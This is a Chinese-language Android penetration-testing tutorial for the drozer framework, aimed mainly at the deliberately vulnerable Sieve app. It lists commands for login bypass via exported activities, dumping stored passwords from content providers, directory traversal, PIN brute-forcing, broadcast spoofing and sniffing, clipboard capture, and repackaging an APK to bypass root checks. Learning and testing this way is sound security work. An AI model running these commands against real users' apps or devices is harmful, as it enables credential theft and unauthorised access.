原文首发
先知社区:https://xz.aliyun.com/t/10605
1、使用工具以及环境
Win10
夜神模拟器:
python2
adb
drozer
agent.apk
2、工具安装
Python2和adb需要设置环境变量
Drozer需安装在python2的Scripts目录下
把agent.apk安装到模拟器下
3、启动环境
打开agent.apk进行监听
使用命令adb devices找到我们的模拟器设备
(如果找不到设备,则需要在模拟器bin的目录下启动cmd)
因devices 31415端口,使用adb进行端口转发
adb forward tcp:31415 tcp:31415
adb shell pm list package 查看所有包名
启动
drozer console connect
set PYTHONIOENCODING=UTF-8
runapp.package.list
run app.package.list -f 包名
获取基本信息run app.package.info -a 包名
查看四大组件攻击面
利用暴露的activity实现登陆绕过
首先使用drozdr检测app中暴露的activity
run scanner.provider.finduris -a 包名,这里可以看到暴露的主件还是有不少:
调用服务组件:run app.service.start --action 服务名 --component 包名 服务名
调用activity组件:run app.activity.start --component 包名 组件名,可以用来检测登陆绕过漏洞
检测注入 run scanner.provider.injection -acom.mwr.example.sieve
查看是否存在数据泄露 run scanner.provider.finduris -acom.xxx.xzxx
检测目录遍历 run scanner.provider.traversal -acom.mwr.example.sieve
检测可以访问的URL:runscanner.provider.finduris -a 包名
查询URL的数据:runapp.provider.query url
检测有没有拒绝服务漏洞:
发送空action: run app.broadcast.send--component 包名 广播名
发送空extras: run app.broadcast.send--action 广播名
基本测试命令:
1. 查找已安装应用程序的包名称dz> runapp.package.list -f Sieve 2. 获取应用程序的清单dz> runapp.package.manifest com.mwr.example.sieve 3. 获取攻击面dz> runapp.package.attacksurface com.mwr.example.sieve 4. 检查导出的活动dz> runapp.activity.info -a com.mwr.example.sieve 5. 检查启动意图(主要活动) dz> runapp.package.launchintent com.mwr.example.sieve 6. 调用导出的活动 dz> runapp.activity.start --component <package_name> <full_activity_name> 7. 检查导出的内容提供者 dz> runapp.provider.info -a com.mwr.example.sieve 8. 查找内容 URI dz> runapp.provider.finduri com.mwr.example.sieve 9. 如果在导出的内容提供程序中找到了 URI 路径,则使用以下命令运行该路径以查找任何有用的数据,(在筛选中,所有密码都被转储) dz> runapp.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords 10.将条目插入内容提供商数据库 dz> runapp.provider.insert content://com.mwr.example.sieve.DBContentProvider/Passwords--integer _id 3 --string service Facebook --string username tyrone --stringpassword zA76WR9mURDNNEw4TUiidVKRuKLEamg5h84T --string email tyrone@gmail.com 11.查找具有特定权限的应用 dz> runapp.package.list -p android.permission.INSTALL_PACKAGES 12.查找使用特定 UID 运行的应用程序,在本例中为 System dz> runapp.package.list -u 1000 13.查找应用程序以查看特定的 MIME 类型 dz> runapp.activity.forintent --action android.intent.action.VIEW --mimetypeapplication/pdf 14.查找设备上的所有可浏览活动 dz> runscanner.activity.browsable
遍历
1. 使用内容提供程序读取外部文件 dz> run app.provider.readcontent://com.mwr.example.sieve.FileBackupProvider/system/etc/hosts 2. 目录遍历以读取/sieve 中的数据库 dz> run app.provider.readcontent://com.mwr.example.sieve.FileBackupProvider/../../../../data/data/com.mwr.example.sieve/databases/database.db>database.db 3. 自动化遍历 dz> run scanner.provider.traversal -acontent://com.mwr.example.sieve.FileBackupProvider
利用服务
1. 获取服务 dz> run app.service.info -a com.mwr.example.sieve 2. 利用sieve中的handleMessage()函数(AuthService服务的代码分析)dz> run app.service.send com.mwr.example.sievecom.mwr.example.sieve.AuthService --msg 2354 9234 1 --extra stringcom.mwr.example.sieve.PIN 1337 --bundle-as-obj在上面的请求中,PIN 1337可以被暴力破解。请参阅 MAHH 第 211 页。 3. 利用 CryptoService 加密消息dz> run app.service.sendcom.mwr.example.sieve com.mwr.example.sieve.CryptoService --msg 3452 2 3--extra string com.mwr.example.sieve.KEY testpassword --extra stringcom.mwr.example.sieve.STRING "string to be encrypted" --bundle-as-obj
利用广播接收器
1. 获取广播接收器
dz> run app.broadcast.info -a com.mwr.example.browser
2. 如果应用程序希望广播接收器捕获意图,然后显示经过身份验证的活动,则只有在登录后才能生成该广播。但是在代码审查之后,攻击者可以使用 drozer 手动发送该意图。示例广播接收器:
<receiver android:name=".LoginReceiver" android:exported="true"> <intent-filter> <action android:name="com.myapp.CORRECT_CREDS" /> </intent-filter> </receiver> dz> run app.broadcast.send --actioncom.myapp.CORRECT_CREDS(第 217 页 - MAHH)
3. 使用广播接收器的意图嗅探/捕获意图,这些接收器用于其他广播接收器
dz> run app.broadcast.sniff --action android.intent.action.BATTERY_CHANGED dz> run app.broadcast.sniff --actioncom.myapp.USER_LOGIN(发送广播的动作名称)
杂项命令
1. 使用 drozer 模块查找 WebView 是否可利用
dz> run scanner.misc.checkjavascriptbridge -acom.vulnerable.js 操作:https://labs.mwrinfosecurity.com/advisories/2013/09/24/webview-addjavascriptinterface-remote-代码执行/
2. 从剪贴板查看复制的文本
dz> run post.capture.clipboard
3.查看app是否允许备份数据
dz> run app.package.backup -f com.mwr.example.sieve
4. 确定一个包是否可调试
dz> run app.package.debuggable -f sieve如果它是可调试的,您可以作为该应用程序运行命令shell@android:/ $ run-as com.mwr.example.sieve
反编译/编译/签名apk
1. 使用 apktool 将应用程序转换为 baksmali $ java -jar apktool.jar d com.joeykrim.rootcheck.apkrootcheck 2. 然后 grep 像“su”这样的字符串绕过根检查(发挥你的创造力) 3. 再次编译应用程序:$ java -jar apktool.jar b rootcheck/ rootcheck-modified.apk 4. 签署 apk:$ jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1-keystoremykey.keystore rootcheck-modified.apk alias_name 注意:使用 jarsigner v1.6,更改版本为 $ sudo update-alternatives --config jarsigner